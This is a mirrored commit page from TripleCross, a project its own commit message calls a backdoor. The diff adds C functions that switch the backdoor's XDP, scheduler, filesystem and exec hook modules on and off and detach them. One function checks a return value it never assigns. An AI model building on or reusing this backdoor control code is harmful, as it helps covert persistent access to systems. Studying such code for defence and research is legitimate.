mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-21 01:03:08 +08:00
Added new hidden packets, commands and rest of structure to activate and deactivate hooks from the backdoor
This commit is contained in:
@@ -81,3 +81,59 @@ int setup_all_modules(){
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int activate_all_modules_config(){
|
||||
//XDP
|
||||
module_config.xdp_module.all = ON;
|
||||
|
||||
//SCHED
|
||||
module_config.sched_module.all = ON;
|
||||
|
||||
//FS (File system)
|
||||
module_config.fs_module.all = ON;
|
||||
|
||||
//EXEC
|
||||
module_config.exec_module.all = ON;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int deactivate_all_modules_config(){
|
||||
//XDP
|
||||
module_config.xdp_module.all = OFF;
|
||||
|
||||
//SCHED
|
||||
module_config.sched_module.all = OFF;
|
||||
|
||||
//FS (File system)
|
||||
module_config.fs_module.all = OFF;
|
||||
|
||||
//EXEC
|
||||
module_config.exec_module.all = OFF;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int unhook_all_modules(){
|
||||
//Alias
|
||||
module_config_attr_t attr = module_config_attr;
|
||||
int ret;
|
||||
|
||||
//XDP
|
||||
ret = detach_xdp_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//SCHED
|
||||
ret = detach_sched_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//FS (File system)
|
||||
ret = detach_fs_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//EXEC
|
||||
detach_exec_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user